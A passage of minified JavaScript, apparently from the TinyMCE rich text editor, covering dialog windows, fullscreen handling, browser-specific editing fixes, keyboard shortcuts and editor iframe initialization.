class="'+e.classes("body")+'">'+s+"</div>"+a+"</div></div>"},fullscreen:function(e){var t=this,r=document.documentElement,i,o=t.classPrefix,a;if(e!=t._fullscreen)if(n.on(window,"resize",function(){var e;if(t._fullscreen)if(i)t._timer||(t._timer=setTimeout(function(){var e=n.getWindowSize();t.moveTo(0,0).resizeTo(e.w,e.h),t._timer=0},50));else{e=(new Date).getTime();var r=n.getWindowSize();t.moveTo(0,0).resizeTo(r.w,r.h),(new Date).getTime()-e>50&&(i=!0)}}),a=t.layoutRect(),t._fullscreen=e,e){t._initial={x:a.x,y:a.y,w:a.w,h:a.h},t._borderBox=t.parseBox("0"),t.getEl("head").style.display="none",a.deltaH-=a.headerH+2,n.addClass(r,o+"fullscreen"),n.addClass(document.body,o+"fullscreen"),t.addClass("fullscreen");var s=n.getWindowSize();t.moveTo(0,0).resizeTo(s.w,s.h)}else t._borderBox=t.parseBox(t.settings.border),t.getEl("head").style.display="",a.deltaH+=a.headerH,n.removeClass(r,o+"fullscreen"),n.removeClass(document.body,o+"fullscreen"),t.removeClass("fullscreen"),t.moveTo(t._initial.x,t._initial.y).resizeTo(t._initial.w,t._initial.h);return t.reflow()},postRender:function(){var e=this,t;setTimeout(function(){e.addClass("in")},0),e._super(),e.statusbar&&e.statusbar.postRender(),e.focus(),this.dragHelper=new r(e._id+"-dragh",{start:function(){t={x:e.layoutRect().x,y:e.layoutRect().y}},drag:function(n){e.moveTo(t.x+n.deltaX,t.y+n.deltaY)}}),e.on("submit",function(t){t.isDefaultPrevented()||e.close()})},submit:function(){return this.fire("submit",{data:this.toJSON()})},remove:function(){var e=this,t=e.classPrefix;e.dragHelper.destroy(),e._super(),e.statusbar&&this.statusbar.remove(),e._fullscreen&&(n.removeClass(document.documentElement,t+"fullscreen"),n.removeClass(document.body,t+"fullscreen"))},getContentWindow:function(){var e=this.getEl().getElementsByTagName("iframe")[0];return e?e.contentWindow:null}});return i}),r(ot,[it],function(e){var t=e.extend({init:function(e){e={border:1,padding:20,layout:"flex",pack:"center",align:"center",containerCls:"panel",autoScroll:!0,buttons:{type:"button",text:"Ok",action:"ok"},items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200}},this._super(e)},Statics:{OK:1,OK_CANCEL:2,YES_NO:3,YES_NO_CANCEL:4,msgBox:function(n){function r(e,t,n){return{type:"button",text:e,subtype:n?"primary":"",onClick:function(e){e.control.parents()[1].close(),o(t)}}}var i,o=n.callback||function(){};switch(n.buttons){case t.OK_CANCEL:i=[r("Ok",!0,!0),r("Cancel",!1)];break;case t.YES_NO:case t.YES_NO_CANCEL:i=[r("Yes",1,!0),r("No",0)],n.buttons==t.YES_NO_CANCEL&&i.push(r("Cancel",-1));break;default:i=[r("Ok",!0,!0)]}return new e({padding:20,x:n.x,y:n.y,minWidth:300,minHeight:100,layout:"flex",pack:"center",align:"center",buttons:i,title:n.title,role:"alertdialog",items:{type:"label",multiline:!0,maxWidth:500,maxHeight:200,text:n.text},onPostRender:function(){this.aria("describedby",this.items()[0]._id)},onClose:n.onClose,onCancel:function(){o(!1)}}).renderTo(document.body).reflow()},alert:function(e,n){return"string"==typeof e&&(e={text:e}),e.callback=n,t.msgBox(e)},confirm:function(e,n){return"string"==typeof e&&(e={text:e}),e.callback=n,e.buttons=t.OK_CANCEL,t.msgBox(e)}}});return t}),r(at,[it,ot],function(e,t){return function(n){function r(){return o.length?o[o.length-1]:void 0}var i=this,o=[];i.windows=o,n.on("remove",function(){for(var e=o.length;e--;)o[e].close()}),i.open=function(t,r){var i;return n.editorManager.setActive(n),t.title=t.title||" ",t.url=t.url||t.file,t.url&&(t.width=parseInt(t.width||320,10),t.height=parseInt(t.height||240,10)),t.body&&(t.items={defaults:t.defaults,type:t.bodyType||"form",items:t.body}),t.url||t.buttons||(t.buttons=[{text:"Ok",subtype:"primary",onclick:function(){i.find("form")[0].submit()}},{text:"Cancel",onclick:function(){i.close()}}]),i=new e(t),o.push(i),i.on("close",function(){for(var e=o.length;e--;)o[e]===i&&o.splice(e,1);o.length||n.focus()}),t.data&&i.on("postRender",function(){this.find("*").each(function(e){var n=e.name();n in t.data&&e.value(t.data[n])})}),i.features=t||{},i.params=r||{},1===o.length&&n.nodeChanged(),i.renderTo().reflow()},i.alert=function(e,r,i){t.alert(e,function(){r?r.call(i||this):n.focus()})},i.confirm=function(e,n,r){t.confirm(e,function(e){n.call(r||this,e)})},i.close=function(){r()&&r().close()},i.getParams=function(){return r()?r().params:null},i.setParams=function(e){r()&&(r().params=e)},i.getWindows=function(){return o}}}),r(st,[B,x,_,g,u,d],function(e,t,n,r,i,o){return function(a){function s(e,t){try{a.getDoc().execCommand(e,!1,t)}catch(n){}}function l(){var e=a.getDoc().documentMode;return e?e:6}function c(e){return e.isDefaultPrevented()}function u(){function t(e){var t=new i(function(){});o.each(a.getBody().getElementsByTagName("*"),function(e){"SPAN"==e.tagName&&e.setAttribute("mce-data-marked",1),!e.hasAttribute("data-mce-style")&&e.hasAttribute("style")&&a.dom.setAttrib(e,"style",a.dom.getAttrib(e,"style"))}),t.observe(a.getDoc(),{childList:!0,attributes:!0,subtree:!0,attributeFilter:["style"]}),a.getDoc().execCommand(e?"ForwardDelete":"Delete",!1,null);var n=a.selection.getRng(),r=n.startContainer.parentNode;o.each(t.takeRecords(),function(e){if(q.isChildOf(e.target,a.getBody())){if("style"==e.attributeName){var t=e.target.getAttribute("data-mce-style");t?e.target.setAttribute("style",t):e.target.removeAttribute("style")}o.each(e.addedNodes,function(e){if("SPAN"==e.nodeName&&!e.getAttribute("mce-data-marked")){var t,i;e==r&&(t=n.startOffset,i=e.firstChild),q.remove(e,!0),i&&(n.setStart(i,t),n.setEnd(i,t),a.selection.setRng(n))}})}}),t.disconnect(),o.each(a.dom.select("span[mce-data-marked]"),function(e){e.removeAttribute("mce-data-marked")})}var n=a.getDoc(),r="data:text/mce-internal,",i=window.MutationObserver,s,l;i||(s=!0,i=function(){function e(e){var t=e.relatedNode||e.target;n.push({target:t,addedNodes:[t]})}function t(e){var t=e.relatedNode||e.target;n.push({target:t,attributeName:e.attrName})}var n=[],r;this.observe=function(n){r=n,r.addEventListener("DOMSubtreeModified",e,!1),r.addEventListener("DOMNodeInsertedIntoDocument",e,!1),r.addEventListener("DOMNodeInserted",e,!1),r.addEventListener("DOMAttrModified",t,!1)},this.disconnect=function(){r.removeEventListener("DOMSubtreeModified",e,!1),r.removeEventListener("DOMNodeInsertedIntoDocument",e,!1),r.removeEventListener("DOMNodeInserted",e,!1),r.removeEventListener("DOMAttrModified",t,!1)},this.takeRecords=function(){return n}}),a.on("keydown",function(n){var r=n.keyCode==$,i=e.metaKeyPressed(n);if(!c(n)&&(r||n.keyCode==U)){var o=a.selection.getRng(),s=o.startContainer,l=o.startOffset;if(!i&&o.collapsed&&3==s.nodeType&&(r?l<s.data.length:l>0))return;n.preventDefault(),i&&a.selection.getSel().modify("extend",r?"forward":"backward","word"),t(r)}}),a.on("keypress",function(n){c(n)||j.isCollapsed()||!n.charCode||e.metaKeyPressed(n)||(n.preventDefault(),t(!0),a.selection.setContent(String.fromCharCode(n.charCode)))}),a.addCommand("Delete",function(){t()}),a.addCommand("ForwardDelete",function(){t(!0)}),s||(a.on("dragstart",function(e){var t;a.selection.isCollapsed()&&"IMG"==e.target.tagName&&j.select(e.target),l=j.getRng(),t=a.selection.getContent(),t.length>0&&e.dataTransfer.setData("URL","data:text/mce-internal,"+escape(t))}),a.on("drop",function(e){if(!c(e)){var i=e.dataTransfer.getData("URL");if(!i||-1==i.indexOf(r)||!n.caretRangeFromPoint)return;i=unescape(i.substr(r.length)),n.caretRangeFromPoint&&(e.preventDefault(),window.setTimeout(function(){var r=n.caretRangeFromPoint(e.x,e.y);l&&(j.setRng(l),l=null),t(),j.setRng(r),a.insertContent(i)},0))}}),a.on("cut",function(e){!c(e)&&e.clipboardData&&(e.preventDefault(),e.clipboardData.clearData(),e.clipboardData.setData("text/html",a.selection.getContent()),e.clipboardData.setData("text/plain",a.selection.getContent({format:"text"})),t(!0))}))}function d(){function e(e){var t=q.create("body"),n=e.cloneContents();return t.appendChild(n),j.serializer.serialize(t,{format:"html"})}function n(n){if(!n.setStart){if(n.item)return!1;var r=n.duplicate();return r.moveToElementText(a.getBody()),t.compareRanges(n,r)}var i=e(n),o=q.createRng();o.selectNode(a.getBody());var s=e(o);return i===s}a.on("keydown",function(e){var t=e.keyCode,r,i;if(!c(e)&&(t==$||t==U)){if(r=a.selection.isCollapsed(),i=a.getBody(),r&&!q.isEmpty(i))return;if(!r&&!n(a.selection.getRng()))return;e.preventDefault(),a.setContent(""),i.firstChild&&q.isBlock(i.firstChild)?a.selection.setCursorLocation(i.firstChild,0):a.selection.setCursorLocation(i,0),a.nodeChanged()}})}function f(){a.shortcuts.add("ctrl+a",null,"SelectAll")}function p(){a.settings.content_editable||(q.bind(a.getDoc(),"focusin",function(){j.setRng(j.getRng())}),q.bind(a.getDoc(),"mousedown mouseup",function(e){e.target==a.getDoc().documentElement&&(a.getBody().focus(),"mousedown"==e.type?j.placeCaretAt(e.clientX,e.clientY):j.setRng(j.getRng()))}))}function h(){a.on("keydown",function(e){if(!c(e)&&e.keyCode===U){if(!a.getBody().getElementsByTagName("hr").length)return;if(j.isCollapsed()&&0===j.getRng(!0).startOffset){var t=j.getNode(),n=t.previousSibling;if("HR"==t.nodeName)return q.remove(t),void e.preventDefault();n&&n.nodeName&&"hr"===n.nodeName.toLowerCase()&&(q.remove(n),e.preventDefault())}}})}function m(){window.Range.prototype.getClientRects||a.on("mousedown",function(e){if(!c(e)&&"HTML"===e.target.nodeName){var t=a.getBody();t.blur(),setTimeout(function(){t.focus()},0)}})}function g(){a.on("click",function(e){var t=e.target;/^(IMG|HR)$/.test(t.nodeName)&&(e.preventDefault(),j.getSel().setBaseAndExtent(t,0,t,1),a.nodeChanged()),"A"==t.nodeName&&q.hasClass(t,"mce-item-anchor")&&(e.preventDefault(),j.select(t))})}function v(){function e(){var e=q.getAttribs(j.getStart().cloneNode(!1));return function(){var t=j.getStart();t!==a.getBody()&&(q.setAttrib(t,"style",null),V(e,function(e){t.setAttributeNode(e.cloneNode(!0))}))}}function t(){return!j.isCollapsed()&&q.getParent(j.getStart(),q.isBlock)!=q.getParent(j.getEnd(),q.isBlock)}a.on("keypress",function(n){var r;return c(n)||8!=n.keyCode&&46!=n.keyCode||!t()?void 0:(r=e(),a.getDoc().execCommand("delete",!1,null),r(),n.preventDefault(),!1)}),q.bind(a.getDoc(),"cut",function(n){var r;!c(n)&&t()&&(r=e(),setTimeout(function(){r()},0))})}function y(){document.body.setAttribute("role","application")}function b(){a.on("keydown",function(e){if(!c(e)&&e.keyCode===U&&j.isCollapsed()&&0===j.getRng(!0).startOffset){var t=j.getNode().previousSibling;if(t&&t.nodeName&&"table"===t.nodeName.toLowerCase())return e.preventDefault(),!1}})}function C(){l()>7||(s("RespectVisibilityInDesign",!0),a.contentStyles.push(".mceHideBrInPre pre br {display: none}"),q.addClass(a.getBody(),"mceHideBrInPre"),K.addNodeFilter("pre",function(e){for(var t=e.length,r,i,o,a;t--;)for(r=e[t].getAll("br"),i=r.length;i--;)o=r[i],a=o.prev,a&&3===a.type&&"\n"!=a.value.charAt(a.value-1)?a.value+="\n":o.parent.insert(new n("#text",3),o,!0).value="\n"}),G.addNodeFilter("pre",function(e){for(var t=e.length,n,r,i,o;t--;)for(n=e[t].getAll("br"),r=n.length;r--;)i=n[r],o=i.prev,o&&3==o.type&&(o.value=o.value.replace(/\r?\n$/,""))}))}function x(){q.bind(a.getBody(),"mouseup",function(){var e,t=j.getNode();"IMG"==t.nodeName&&((e=q.getStyle(t,"width"))&&(q.setAttrib(t,"width",e.replace(/[^0-9%]+/g,"")),q.setStyle(t,"width","")),(e=q.getStyle(t,"height"))&&(q.setAttrib(t,"height",e.replace(/[^0-9%]+/g,"")),q.setStyle(t,"height","")))})}function w(){a.on("keydown",function(t){var n,r,i,o,s;if(!c(t)&&t.keyCode==e.BACKSPACE&&(n=j.getRng(),r=n.startContainer,i=n.startOffset,o=q.getRoot(),s=r,n.collapsed&&0===i)){for(;s&&s.parentNode&&s.parentNode.firstChild==s&&s.parentNode!=o;)s=s.parentNode;"BLOCKQUOTE"===s.tagName&&(a.formatter.toggle("blockquote",null,s),n=q.createRng(),n.setStart(r,0),n.setEnd(r,0),j.setRng(n))}})}function _(){function e(){a._refreshContentEditable(),s("StyleWithCSS",!1),s("enableInlineTableEditing",!1),Y.object_resizing||s("enableObjectResizing",!1)}Y.readonly||a.on("BeforeExecCommand MouseDown",e)}function E(){function e(){V(q.select("a"),function(e){var t=e.parentNode,n=q.getRoot();if(t.lastChild===e){for(;t&&!q.isBlock(t);){if(t.parentNode.lastChild!==t||t===n)return;t=t.parentNode}q.add(t,"br",{"data-mce-bogus":1})}})}a.on("SetContent ExecCommand",function(t){("setcontent"==t.type||"mceInsertLink"===t.command)&&e()})}function N(){Y.forced_root_block&&a.on("init",function(){s("DefaultParagraphSeparator",Y.forced_root_block)})}function k(){a.on("Undo Redo SetContent",function(e){e.initial||a.execCommand("mceRepaint")})}function S(){a.on("keydown",function(e){var t;c(e)||e.keyCode!=U||(t=a.getDoc().selection.createRange(),t&&t.item&&(e.preventDefault(),a.undoManager.beforeChange(),q.remove(t.item(0)),a.undoManager.add()))})}function T(){var e;l()>=10&&(e="",V("p div h1 h2 h3 h4 h5 h6".split(" "),function(t,n){e+=(n>0?",":"")+t+":empty"}),a.contentStyles.push(e+"{padding-right: 1px !important}"))}function R(){l()<9&&(K.addNodeFilter("noscript",function(e){for(var t=e.length,n,r;t--;)n=e[t],r=n.firstChild,r&&n.attr("data-mce-innertext",r.value)}),G.addNodeFilter("noscript",function(e){for(var t=e.length,i,o,a;t--;)i=e[t],o=e[t].firstChild,o?o.value=r.decode(o.value):(a=i.attributes.map["data-mce-innertext"],a&&(i.attr("data-mce-innertext",null),o=new n("#text",3),o.value=a,o.raw=!0,i.append(o)))}))}function A(){function e(e,t){var n=i.createTextRange();try{n.moveToPoint(e,t)}catch(r){n=null}return n}function t(t){var r;t.button?(r=e(t.x,t.y),r&&(r.compareEndPoints("StartToStart",a)>0?r.setEndPoint("StartToStart",a):r.setEndPoint("EndToEnd",a),r.select())):n()}function n(){var e=r.selection.createRange();a&&!e.item&&0===e.compareEndPoints("StartToEnd",e)&&a.select(),q.unbind(r,"mouseup",n),q.unbind(r,"mousemove",t),a=o=0}var r=q.doc,i=r.body,o,a,s;r.documentElement.unselectable=!0,q.bind(r,"mousedown contextmenu",function(i){if("HTML"===i.target.nodeName){if(o&&n(),s=r.documentElement,s.scrollHeight>s.clientHeight)return;o=1,a=e(i.x,i.y),a&&(q.bind(r,"mouseup",n),q.bind(r,"mousemove",t),q.getRoot().focus(),a.select())}})}function B(){a.on("keyup focusin mouseup",function(t){65==t.keyCode&&e.metaKeyPressed(t)||j.normalize()},!0)}function D(){a.contentStyles.push("img:-moz-broken {-moz-force-broken-image-icon:1;min-width:24px;min-height:24px}")}function L(){a.inline||a.on("keydown",function(){document.activeElement==document.body&&a.getWin().focus()})}function H(){a.inline||(a.contentStyles.push("body {min-height: 150px}"),a.on("click",function(e){"HTML"==e.target.nodeName&&(a.getBody().focus(),a.selection.normalize(),a.nodeChanged())}))}function M(){i.mac&&a.on("keydown",function(t){!e.metaKeyPressed(t)||37!=t.keyCode&&39!=t.keyCode||(t.preventDefault(),a.selection.getSel().modify("move",37==t.keyCode?"backward":"forward","word"))})}function P(){s("AutoUrlDetect",!1)}function O(){a.inline||a.on("focus blur beforegetcontent",function(){var e=a.dom.create("br");a.getBody().appendChild(e),e.parentNode.removeChild(e)},!0)}function I(){a.on("click",function(e){var t=e.target;do if("A"===t.tagName)return void e.preventDefault();while(t=t.parentNode)}),a.contentStyles.push(".mce-content-body {-webkit-touch-callout: none}")}function F(){a.on("touchstart",function(e){var t,n,r,i;t=e.target,n=(new Date).getTime(),i=e.changedTouches,!i||i.length>1||(r=i[0],a.once("touchend",function(e){var i=e.changedTouches[0],o;(new Date).getTime()-n>500||Math.abs(r.clientX-i.clientX)>5||Math.abs(r.clientY-i.clientY)>5||(o={target:t},V("pageX pageY clientX clientY screenX screenY".split(" "),function(e){o[e]=i[e]}),o=a.fire("click",o),o.isDefaultPrevented()||(a.selection.placeCaretAt(i.clientX,i.clientY),a.nodeChanged()))}))})}function z(){a.on("init",function(){a.dom.bind(a.getBody(),"submit",function(e){e.preventDefault()})})}function W(){K.addNodeFilter("br",function(e){for(var t=e.length;t--;)"Apple-interchange-newline"==e[t].attr("class")&&e[t].remove()})}var V=o.each,U=e.BACKSPACE,$=e.DELETE,q=a.dom,j=a.selection,Y=a.settings,K=a.parser,G=a.serializer,X=i.gecko,J=i.ie,Q=i.webkit;w(),d(),B(),Q&&(u(),p(),g(),N(),z(),b(),W(),F(),i.iOS?(L(),H(),I()):f()),J&&i.ie<11&&(h(),y(),C(),x(),S(),T(),R(),A()),i.ie>=11&&(H(),O(),b()),i.ie&&(f(),P()),X&&(h(),m(),v(),_(),E(),k(),D(),M(),b())}}),r(lt,[$],function(e){function t(t){return t._eventDispatcher||(t._eventDispatcher=new e({scope:t,toggleEvent:function(n,r){e.isNative(n)&&t.toggleNativeEvent&&t.toggleNativeEvent(n,r)}})),t._eventDispatcher}return{fire:function(e,n,r){var i=this;if(i.removed&&"remove"!==e)return n;if(n=t(i).fire(e,n,r),r!==!1&&i.parent)for(var o=i.parent();o&&!n.isPropagationStopped();)o.fire(e,n,!1),o=o.parent();return n},on:function(e,n,r){return t(this).on(e,n,r)},off:function(e,n){return t(this).off(e,n)},once:function(e,n){return t(this).once(e,n)},hasEventListeners:function(e){return t(this).has(e)}}}),r(ct,[lt,y,d],function(e,t,n){function r(e,t){return"selectionchange"==t?e.getDoc():!e.inline&&/^mouse|click|contextmenu|drop|dragover|dragend/.test(t)?e.getDoc().documentElement:e.settings.event_root?(e.eventRoot||(e.eventRoot=o.select(e.settings.event_root)[0]),e.eventRoot):e.getBody()}function i(e,t){var n=r(e,t),i;if(e.delegates||(e.delegates={}),!e.delegates[t])if(e.settings.event_root){if(a||(a={},e.editorManager.on("removeEditor",function(){var t;if(!e.editorManager.activeEditor&&a){for(t in a)e.dom.unbind(r(e,t));a=null}})),a[t])return;i=function(n){for(var r=n.target,i=e.editorManager.editors,a=i.length;a--;){var s=i[a].getBody();(s===r||o.isChildOf(r,s))&&(i[a].hidden||i[a].fire(t,n))}},a[t]=i,o.bind(n,t,i)}else i=function(n){e.hidden||e.fire(t,n)},o.bind(n,t,i),e.delegates[t]=i}var o=t.DOM,a,s={bindPendingEventDelegates:function(){var e=this;n.each(e._pendingNativeEvents,function(t){i(e,t)})},toggleNativeEvent:function(e,t){var n=this;n.settings.readonly||"focus"!=e&&"blur"!=e&&(t?n.initialized?i(n,e):n._pendingNativeEvents?n._pendingNativeEvents.push(e):n._pendingNativeEvents=[e]:n.initialized&&(n.dom.unbind(r(n,e),e,n.delegates[e]),delete n.delegates[e]))},unbindAllNativeEvents:function(){var e=this,t;if(e.delegates){for(t in e.delegates)e.dom.unbind(r(e,t),t,e.delegates[t]);delete e.delegates}e.inline||(e.getBody().onload=null,e.dom.unbind(e.getWin()),e.dom.unbind(e.getDoc())),e.dom.unbind(e.getBody()),e.dom.unbind(e.getContainer())}};return s=n.extend({},e,s)}),r(ut,[d,u],function(e,t){var n=e.each,r=e.explode,i={f9:120,f10:121,f11:122};return function(o){var a=this,s={};o.on("keyup keypress keydown",function(e){(e.altKey||e.ctrlKey||e.metaKey)&&!e.isDefaultPrevented()&&n(s,function(n){var r=t.mac?e.metaKey:e.ctrlKey;if(n.ctrl==r&&n.alt==e.altKey&&n.shift==e.shiftKey)return e.keyCode==n.keyCode||e.charCode&&e.charCode==n.charCode?(e.preventDefault(),"keydown"==e.type&&n.func.call(n.scope),!0):void 0
+})}),a.add=function(t,a,l,c){var u;return u=l,"string"==typeof l?l=function(){o.execCommand(u,!1,null)}:e.isArray(u)&&(l=function(){o.execCommand(u[0],u[1],u[2])}),n(r(t.toLowerCase()),function(e){var t={func:l,scope:c||o,desc:o.translate(a),alt:!1,ctrl:!1,shift:!1};n(r(e,"+"),function(e){switch(e){case"alt":case"ctrl":case"shift":t[e]=!0;break;default:/^[0-9]{2,}$/.test(e)?t.keyCode=parseInt(e,10):(t.charCode=e.charCodeAt(0),t.keyCode=i[e]||e.toUpperCase().charCodeAt(0))}}),s[(t.ctrl?"ctrl":"")+","+(t.alt?"alt":"")+","+(t.shift?"shift":"")+","+t.keyCode]=t}),!0}}}),r(dt,[y,f,C,w,_,R,T,H,O,I,F,z,W,V,b,l,at,E,k,st,u,d,ct,ut],function(e,n,r,i,o,a,s,l,c,u,d,f,p,h,m,g,v,y,b,C,x,w,_,E){function N(e,t,i){var o=this,a,s;a=o.documentBaseUrl=i.documentBaseURL,s=i.baseURI,o.settings=t=R({id:e,theme:"modern",delta_width:0,delta_height:0,popup_css:"",plugins:"",document_base_url:a,add_form_submit_trigger:!0,submit_patch:!0,add_unload_trigger:!0,convert_urls:!0,relative_urls:!0,remove_script_host:!0,object_resizing:!0,doctype:"<!DOCTYPE html>",visual:!0,font_size_style_values:"xx-small,x-small,small,medium,large,x-large,xx-large",font_size_legacy_values:"xx-small,small,medium,large,x-large,xx-large,300%",forced_root_block:"p",hidden_input:!0,padd_empty_editor:!0,render_ui:!0,indentation:"30px",inline_styles:!0,convert_fonts_to_spans:!0,indent:"simple",indent_before:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,option,optgroup,datalist",indent_after:"p,h1,h2,h3,h4,h5,h6,blockquote,div,title,style,pre,script,td,ul,ol,li,dl,dt,dd,area,table,thead,tfoot,tbody,tr,section,article,hgroup,aside,figure,option,optgroup,datalist",validate:!0,entity_encoding:"named",url_converter:o.convertURL,url_converter_scope:o,ie7_compat:!0},t),r.language=t.language||"en",r.languageLoad=t.language_load,r.baseURL=i.baseURL,o.id=t.id=e,o.isNotDirty=!0,o.plugins={},o.documentBaseURI=new h(t.document_base_url||a,{base_uri:s}),o.baseURI=s,o.contentCSS=[],o.contentStyles=[],o.shortcuts=new E(o),o.execCommands={},o.queryStateCommands={},o.queryValueCommands={},o.loadedCSS={},t.target&&(o.targetElm=t.target),o.suffix=i.suffix,o.editorManager=i,o.inline=t.inline,t.cache_suffix&&(x.cacheSuffix=t.cache_suffix.replace(/^[\?\&]+/,"")),i.fire("SetupEditor",o),o.execCallback("setup",o),o.$=n.overrideDefaults(function(){return{context:o.inline?o.getBody():o.getDoc(),element:o.getBody()}})}var k=e.DOM,S=r.ThemeManager,T=r.PluginManager,R=w.extend,A=w.each,B=w.explode,D=w.inArray,L=w.trim,H=w.resolve,M=g.Event,P=x.gecko,O=x.ie;return N.prototype={render:function(){function e(){k.unbind(window,"ready",e),n.render()}function t(){var e=m.ScriptLoader;if(r.language&&"en"!=r.language&&!r.language_url&&(r.language_url=n.editorManager.baseURL+"/langs/"+r.language+".js"),r.language_url&&e.add(r.language_url),r.theme&&"function"!=typeof r.theme&&"-"!=r.theme.charAt(0)&&!S.urls[r.theme]){var t=r.theme_url;t=t?n.documentBaseURI.toAbsolute(t):"themes/"+r.theme+"/theme"+o+".js",S.load(r.theme,t)}w.isArray(r.plugins)&&(r.plugins=r.plugins.join(" ")),A(r.external_plugins,function(e,t){T.load(t,e),r.plugins+=" "+t}),A(r.plugins.split(/[ ,]/),function(e){if(e=L(e),e&&!T.urls[e])if("-"==e.charAt(0)){e=e.substr(1,e.length);var t=T.dependencies(e);A(t,function(e){var t={prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"};e=T.createUrl(t,e),T.load(e.resource,e)})}else T.load(e,{prefix:"plugins/",resource:e,suffix:"/plugin"+o+".js"})}),e.loadQueue(function(){n.removed||n.init()})}var n=this,r=n.settings,i=n.id,o=n.suffix;if(!M.domLoaded)return void k.bind(window,"ready",e);if(n.getElement()&&x.contentEditable){r.inline?n.inline=!0:(n.orgVisibility=n.getElement().style.visibility,n.getElement().style.visibility="hidden");var a=n.getElement().form||k.getParent(i,"form");a&&(n.formElement=a,r.hidden_input&&!/TEXTAREA|INPUT/i.test(n.getElement().nodeName)&&(k.insertAfter(k.create("input",{type:"hidden",name:i}),i),n.hasHiddenInput=!0),n.formEventDelegate=function(e){n.fire(e.type,e)},k.bind(a,"submit reset",n.formEventDelegate),n.on("reset",function(){n.setContent(n.startContent,{format:"raw"})}),!r.submit_patch||a.submit.nodeType||a.submit.length||a._mceOldSubmit||(a._mceOldSubmit=a.submit,a.submit=function(){return n.editorManager.triggerSave(),n.isNotDirty=!0,a._mceOldSubmit(a)})),n.windowManager=new v(n),"xml"==r.encoding&&n.on("GetContent",function(e){e.save&&(e.content=k.encode(e.content))}),r.add_form_submit_trigger&&n.on("submit",function(){n.initialized&&n.save()}),r.add_unload_trigger&&(n._beforeUnload=function(){!n.initialized||n.destroyed||n.isHidden()||n.save({format:"raw",no_events:!0,set_dirty:!1})},n.editorManager.on("BeforeUnload",n._beforeUnload)),t()}},init:function(){function e(n){var r=T.get(n),i,o;i=T.urls[n]||t.documentBaseUrl.replace(/\/$/,""),n=L(n),r&&-1===D(m,n)&&(A(T.dependencies(n),function(t){e(t)}),o=new r(t,i,t.$),t.plugins[n]=o,o.init&&(o.init(t,i),m.push(n)))}var t=this,n=t.settings,r=t.getElement(),i,o,a,s,l,c,u,d,f,p,h,m=[];if(t.rtl=this.editorManager.i18n.rtl,t.editorManager.add(t),n.aria_label=n.aria_label||k.getAttrib(r,"aria-label",t.getLang("aria.rich_text_area")),n.theme&&("function"!=typeof n.theme?(n.theme=n.theme.replace(/-/,""),c=S.get(n.theme),t.theme=new c(t,S.urls[n.theme]),t.theme.init&&t.theme.init(t,S.urls[n.theme]||t.documentBaseUrl.replace(/\/$/,""),t.$)):t.theme=n.theme),A(n.plugins.replace(/\-/g,"").split(/[ ,]/),e),n.render_ui&&t.theme&&(t.orgDisplay=r.style.display,"function"!=typeof n.theme?(i=n.width||r.style.width||r.offsetWidth,o=n.height||r.style.height||r.offsetHeight,a=n.min_height||100,p=/^[0-9\.]+(|px)$/i,p.test(""+i)&&(i=Math.max(parseInt(i,10),100)),p.test(""+o)&&(o=Math.max(parseInt(o,10),a)),l=t.theme.renderUI({targetNode:r,width:i,height:o,deltaWidth:n.delta_width,deltaHeight:n.delta_height}),n.content_editable||(o=(l.iframeHeight||o)+("number"==typeof o?l.deltaHeight||0:""),a>o&&(o=a))):(l=n.theme(t,r),l.editorContainer.nodeType&&(l.editorContainer=l.editorContainer.id=l.editorContainer.id||t.id+"_parent"),l.iframeContainer.nodeType&&(l.iframeContainer=l.iframeContainer.id=l.iframeContainer.id||t.id+"_iframecontainer"),o=l.iframeHeight||r.offsetHeight),t.editorContainer=l.editorContainer),n.content_css&&A(B(n.content_css),function(e){t.contentCSS.push(t.documentBaseURI.toAbsolute(e))}),n.content_style&&t.contentStyles.push(n.content_style),n.content_editable)return r=s=l=null,t.initContentBody();for(t.iframeHTML=n.doctype+"<html><head>",n.document_base_url!=t.documentBaseUrl&&(t.iframeHTML+='<base href="'+t.documentBaseURI.getURI()+'" />'),!x.caretAfter&&n.ie7_compat&&(t.iframeHTML+='<meta http-equiv="X-UA-Compatible" content="IE=7" />'),t.iframeHTML+='<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />',h=0;h<t.contentCSS.length;h++){var g=t.contentCSS[h];t.iframeHTML+='<link type="text/css" rel="stylesheet" href="'+w._addCacheSuffix(g)+'" />',t.loadedCSS[g]=!0}d=n.body_id||"tinymce",-1!=d.indexOf("=")&&(d=t.getParam("body_id","","hash"),d=d[t.id]||d),f=n.body_class||"",-1!=f.indexOf("=")&&(f=t.getParam("body_class","","hash"),f=f[t.id]||""),n.content_security_policy&&(t.iframeHTML+='<meta http-equiv="Content-Security-Policy" content="'+n.content_security_policy+'" />'),t.iframeHTML+='</head><body id="'+d+'" class="mce-content-body '+f+'" data-id="'+t.id+'"><br></body></html>';var v='javascript:(function(){document.open();document.domain="'+document.domain+'";var ed = window.parent.tinymce.get("'+t.id+'");document.write(ed.iframeHTML);document.close();ed.initContentBody(true);})()';document.domain!=location.hostname&&(u=v);var y=k.create("iframe",{id:t.id+"_ifr",frameBorder:"0",allowTransparency:"true",title:t.editorManager.translate("Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help"),style:{width:"100%",height:o,display:"block"}});if(y.onload=function(){y.onload=null,t.fire("load")},k.setAttrib(y,"src",u||'javascript:""'),t.contentAreaContainer=l.iframeContainer,t.iframeElement=y,s=k.add(l.iframeContainer,y),O)try{t.getDoc()}catch(b){s.src=u=v}l.editorContainer&&(k.get(l.editorContainer).style.display=t.orgDisplay,t.hidden=k.isHidden(l.editorContainer)),t.getElement().style.display="none",k.setAttrib(t.id,"aria-hidden",!0),u||t.initContentBody(),r=s=l=null},initContentBody:function(t){var n=this,r=n.settings,s=n.getElement(),h=n.getDoc(),m,g;r.inline||(n.getElement().style.visibility=n.orgVisibility),t||r.content_editable||(h.open(),h.write(n.iframeHTML),h.close()),r.content_editable&&(n.on("remove",function(){var 